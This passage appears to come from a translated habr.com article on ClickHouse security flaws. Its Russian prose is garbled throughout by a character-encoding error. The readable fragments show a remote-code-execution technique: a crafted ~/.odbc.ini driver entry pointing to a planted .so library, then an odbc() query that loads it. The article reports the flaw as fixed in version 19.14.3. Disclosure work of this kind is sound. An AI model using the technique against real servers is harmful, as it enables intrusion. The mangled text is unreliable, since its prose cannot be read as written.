ΠΎΡΡΠ°ΡΡΡΡ. ΠΡΠ»ΠΈ Π²Ρ Π·Π°Π½ΠΈΠΌΠ°Π΅ΡΠ΅ΡΡ ΠΏΠΎΠ΄Π΄Π΅ΡΠΆΠΊΠΎΠΉ ΠΊΠ»Π°ΡΡΠ΅ΡΠ° ClickHouse, ΠΏΡΠΎΠ²Π΅ΡΡΡΠ΅ ΠΏΡΠ°Π²Π° Π½Π° ΠΊΠ°ΡΠ°Π»ΠΎΠ³ Ρ Π½Π°ΡΡΡΠΎΠΉΠΊΠ°ΠΌΠΈ, ΠΎΠ½ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΡΠΈΠ½Π°Π΄Π»Π΅ΠΆΠ°ΡΡ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ root.
ODBC Π² RCE
ΠΡΠΈ ΡΡΡΠ°Π½ΠΎΠ²ΠΊΠ΅ ΠΏΠ°ΠΊΠ΅ΡΠ° ΡΠΎΠ·Π΄Π°Π΅ΡΡΡ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ clickhouse, ΠΏΡΠΈ ΡΡΠΎΠΌ Π½Π΅ ΡΠΎΠ·Π΄Π°Π΅ΡΡΡ Π΅Π³ΠΎ Π΄ΠΎΠΌΠ°ΡΠ½ΠΈΠΉ ΠΊΠ°ΡΠ°Π»ΠΎΠ³ /nonexistent. ΠΠ΄Π½Π°ΠΊΠΎ ΠΏΡΠΈ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠΈ Π²Π½Π΅ΡΠ½ΠΈΡ
ΡΠ»ΠΎΠ²Π°ΡΠ΅ΠΉ, Π»ΠΈΠ±ΠΎ ΠΏΠΎ Π΄ΡΡΠ³ΠΈΠΌ ΠΏΡΠΈΡΠΈΠ½Π°ΠΌ, Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡΡ ΡΠΎΠ·Π΄Π°ΡΡ ΠΊΠ°ΡΠ°Π»ΠΎΠ³ /nonexistent ΠΈ Π΄Π°ΡΡ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ clickhouse Π΄ΠΎΡΡΡΠΏ Π½Π° Π·Π°ΠΏΠΈΡΡ Π² Π½Π΅Π³ΠΎ (Π‘Π‘ΠΠ! ΠΏΡΠΈΠΌ. ΠΏΠ΅ΡΠ΅Π²ΠΎΠ΄ΡΠΈΠΊΠ°).
ClickHouse ΠΏΠΎΠ΄Π΄Π΅ΡΠΆΠΈΠ²Π°Π΅Ρ ΠΈ ΠΌΠΎΠΆΠ΅Ρ ΡΠΎΠ΅Π΄ΠΈΠ½ΡΡΡΡΡ Ρ Π΄ΡΡΠ³ΠΈΠΌΠΈ Π±Π°Π·Π°ΠΌΠΈ Π΄Π°Π½Π½ΡΡ
. Π ODBC Π²Ρ ΠΌΠΎΠΆΠ΅ΡΠ΅ ΡΠΊΠ°Π·Π°ΡΡ ΠΏΡΡΡ ΠΊ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠ΅ Ρ Π΄ΡΠ°ΠΉΠ²Π΅ΡΠΎΠΌ Π±Π°Π·Ρ Π΄Π°Π½Π½ΡΡ
(.so). Π‘ΡΠ°ΡΡΠ΅ Π²Π΅ΡΡΠΈΠΈ ClickHouse ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ»ΠΈ ΠΏΡΠΎΠ²ΠΎΡΠ°ΡΠΈΠ²Π°ΡΡ ΡΠ°ΠΊΠΎΠ΅ ΠΏΡΡΠΌΠΎ Π² ΠΎΠ±ΡΠ°Π±ΠΎΡΡΠΈΠΊΠ΅ Π·Π°ΠΏΡΠΎΡΠΎΠ², Π½ΠΎ ΡΠ΅ΠΏΠ΅ΡΡ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π° Π±ΠΎΠ»Π΅Π΅ ΡΡΡΠΎΠ³Π°Ρ ΠΏΡΠΎΠ²Π΅ΡΠΊΠ° ΡΡΡΠΎΠΊΠΈ ΡΠΎΠ΅Π΄ΠΈΠ½Π΅Π½ΠΈΡ Π² odbc-bridge, ΡΠ°ΠΊ ΡΡΠΎ ΡΠ΅ΠΏΠ΅ΡΡ Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΡΠΊΠ°Π·Π°ΡΡ ΠΏΡΡΡ ΠΊ Π΄ΡΠ°ΠΉΠ²Π΅ΡΡ ΠΈΠ· Π·Π°ΠΏΡΠΎΡΠ°. ΠΠΎ Π°ΡΠ°ΠΊΡΡΡΠΈΠΉ ΠΌΠΎΠΆΠ΅Ρ ΠΏΠΈΡΠ°ΡΡ Π² Π΄ΠΎΠΌΠ°ΡΠ½ΠΈΠΉ ΠΊΠ°ΡΠ°Π»ΠΎΠ³, ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡ, ΠΎΠΏΠΈΡΠ°Π½Π½ΡΡ Π²ΡΡΠ΅?
ΠΠ°Π²Π°ΠΉΡΠ΅ ΡΠΎΠ·Π΄Π°Π΄ΠΈΠΌ ΡΠ°ΠΉΠ» ~/.odbc.ini Ρ ΡΠ°ΠΊΠΈΠΌ ΡΠΎΠ΄Π΅ΡΠΆΠΈΠΌΡΠΌ:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.soΠ·Π°ΡΠ΅ΠΌ ΠΏΡΠΈ Π·Π°ΠΏΡΡΠΊΠ΅ SELECT * FROM odbc('DSN=lalala', 'test', 'test'); Π±ΡΠ΄Π΅Ρ ΠΏΠΎΠ΄Π³ΡΡΠΆΠ΅Π½Π° Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠ° test.so ΠΈ ΠΏΠΎΠ»ΡΡΠ΅Π½ΠΎ RCE (ΡΠΏΠ°ΡΠΈΠ±ΠΎ Π·Π° Π½Π°Π²ΠΎΠ΄ΠΊΡ).
ΠΡΠΈ ΠΈ Π΄ΡΡΠ³ΠΈΠ΅ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ Π±ΡΠ»ΠΈ ΠΈΡΠΏΡΠ°Π²Π»Π΅Π½Ρ Π² Π²Π΅ΡΡΠΈΠΈ ClickHouse 19.14.3. ΠΠ΅ΡΠ΅Π³ΠΈΡΠ΅ ΡΠ²ΠΎΠΈ ClickHouse ΠΈ ZooKeepers!
ΠΡΡΠΎΡΠ½ΠΈΠΊ: habr.com
